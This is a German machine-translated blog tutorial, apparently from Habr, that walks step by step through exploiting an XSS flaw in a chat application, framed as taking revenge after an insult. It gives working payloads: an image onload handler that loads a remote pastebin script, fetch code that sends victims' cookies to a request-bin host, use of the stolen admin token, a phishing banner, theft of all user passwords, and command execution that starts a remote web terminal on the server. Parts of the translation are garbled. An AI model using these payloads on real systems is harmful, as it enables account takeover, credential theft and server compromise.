Xss-Schwachstellen ausnutzen

Xss-Schwachstellen ausnutzen



Dieser Artikel beschreibt die Verwendung von xss-Sicherheitslücken:


  • Token Diebstahl
  • Diebstahl der Umwelt
  • Änderungen des Seiteninhalts
  • Zugriff auf das Hosting-System erhalten

Hintergrund



Also bist du in den Chat gegangen, du warst beleidigt und jetzt willst du dich rächen. Wie Sie aus dem Dialogfeld ersehen können, können Sie einfach HTML senden, was eine ideale Gelegenheit für xss ist. In Wirklichkeit ist es unwahrscheinlich, dass Sie eine solche Lücke bemerken.


Führen Sie das Skript aus


Wir haben einen Chat mit der Möglichkeit, HTML zu senden. Überprüfen wir also die Möglichkeit von xss console.log('XSS stage 0') und es hat nicht funktioniert.
Was ist los Chromium und Firefox ignorieren über innerHTML hinzugefügte innerHTML .
Ok, versuche den zweiten Ansatz


 <img src="https://picsum.photos/200/200" onload="console.log('XSS')" /> 

In der Konsole angezeigtes XSS bedeutet, dass der Code funktioniert hat


Jetzt erstellen wir im Pastebin ein Skript, mit dem wir spielen werden
Skriptinhalt:


 console.log('Script loaded') 

Um das Skript im Onload-Attribut auszuführen, schreiben Sie:


 s=document.createElement('script');s.src='https://pastebin.com/raw/[YOUR_PASTE_ID]';document.body.appendChild(s) 

Und jetzt senden


 <img src="https://picsum.photos/200/200" onload="s=document.createElement('script');s.src='https://pastebin.com/raw/[YOUR_PASTE_ID]';document.body.appendChild(s)" /> 

Alle Empfänger sehen das Bild und führen das Skript aus


Rob Kekse


Mit dem Laden des Skripts haben wir es herausgefunden, jetzt werden wir den Betrieb aufnehmen. Zuerst müssen die Daten irgendwohin gesendet werden, wir werden requestbin verwenden


 //     -  const headers = new Headers() headers.append("Content-Type", "application/json") const body = { "name": "Yoda" } const options = { method: "POST", headers, mode: "cors", body: JSON.stringify(body), } fetch("[URL]", options) 

Aber nur den gleichen Text zu senden, ist nicht interessant, lasst uns Cookies senden


 //     -  const headers = new Headers() headers.append("Content-Type", "application/json") const body = { "cookies": document.cookie } const options = { method: "POST", headers, mode: "cors", body: JSON.stringify(body), } fetch("https://en9uiweslksnu.x.pipedream.net", options) 

Die Cookies enthalten Token zur Identifizierung des Benutzers.
In requestbin erhalten wir zwei Anfragen mit zwei Token:
-1067197389
1679211939
Seit meinem Token ist 1679211939
Also Admin-Token -1067197389
Wenn Sie Ihr Token durch ein Administrator-Token ersetzen, können wir in seinem Namen schreiben


Inhalt ändern


Als Administrator zu schreiben macht Spaß, aber lassen Sie uns den Inhalt der Site ein wenig ändern. Hinzufügen solcher Zeilen zu unserem schädlichen Skript


 let d = document.createElement('div') d.innerHTML = `<div style="position: fixed;top: 0;height: 20px;width: 100vw;color: white;text-align: center;background: purple;" onclick="document.location='/your_very_evil_program'">Download new appliction</div>` document.body.appendChild(d) document.getElementById('msgs').setAttribute('style', 'height: calc(100% - 60px);margin-top: 20px;') 


Nachdem wir ein solches Foto im Auftrag des Administrators gesendet haben, erhalten alle Empfänger ein Banner, das beim Anklicken zu unserem /your_very_evil_program


Diebstahl der Umwelt


Es ist Zeit, auf das Admin-Panel zuzugreifen. Prüfen Sie also, was sich unter /admin und dort werden wir von ACCESS DENIED. BURN IN FIRE ACCESS DENIED. BURN IN FIRE , okay, ersetze das Admin-Token in Cookies. Auch hier wird der Zugriff verweigert, was bedeutet, dass die Autorisierung auf andere Weise erfolgt. Also fragen wir das Admin-Panel vom Admin-Rechner.
Zum bösen Skript hinzufügen:


 const admin = await (await fetch("/admin")).text() 

Und wenn wir dann den Admin-Wert in den Body senden, erhalten wir die /admin Daten


Wir bekommen den Admin-Code


 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta http-equiv="X-UA-Compatible" content="ie=edge" /> <title>Admin</title> </head> <body> Hello admin<br /> <textarea id="users" rows="20" cols="100"></textarea><br /> <button id="updUsers">Update users</button><br /><br /> <script> let fetchUsrs = fetch("/users") .then(e => e.text()) .then(e => (document.getElementById("users").value = e)); document.getElementById("updUsers").onclick = () => { fetch("/users", { body: JSON.stringify({ data: document.getElementById("users").value.toString() }), headers: { Accept: "application/json, text/plain, */*", "Content-Type": "application/json" }, method: "POST" }).then(fetchUsrs); }; function toCmd(cmd) { document.location = "http://" + location.host + "/exec?cmd=" + encodeURIComponent(cmd); } </script> <button onclick="toCmd('free --human')">Check mem</button> <button onclick="toCmd('ps')">Show procs</button> </body> </html> 

Was kann daraus gelernt werden:


  1. Es gibt Endpunkte /users die /users zurückgeben und akzeptieren
  2. Gibt es einen Endpunkt /exec?cmd , der das Programm /exec?cmd
    Beide Endpunkte gewähren uns keinen Zugriff. Also versuch mal /users

 { "admin": "VerySecurePassword", "chiken": "COW+CHICKEN", "user001": "agent007", "justUser": "llkk", "test":"12" } 

Jetzt haben wir also das Passwort und den Login aller Benutzer des Systems und jetzt melden wir uns unter dem Admin an, wir erhalten Zugriff auf das Admin-Panel und in den Cookies erscheint ein Nur-http-Cookie, das den Zugriff darauf ermöglicht


Zugriff auf das System erhalten


Wie Sie sich erinnern, haben wir einen Endpunkt, auf dem der Befehl ausgeführt wird. Jetzt können wir tun, was immer wir wollen, aber es ist nicht sehr praktisch, ihn zu verwenden. Daher werden wir auf dem Server fehlerfrei ausgeführt
Jetzt setze /exec?cmd=npm%20i%20gritty%202%3E%261
Führen Sie anschließend /exec?cmd=node%20node_modules%2Fgritty%2Fbin%2Fgritty.js%20--port%208022
Und auf Port 8022 steht uns das kiesige Terminal zur Verfügung


XSS - Extrem gefährlich

Source: https://habr.com/ru/post/de481338/


All Articles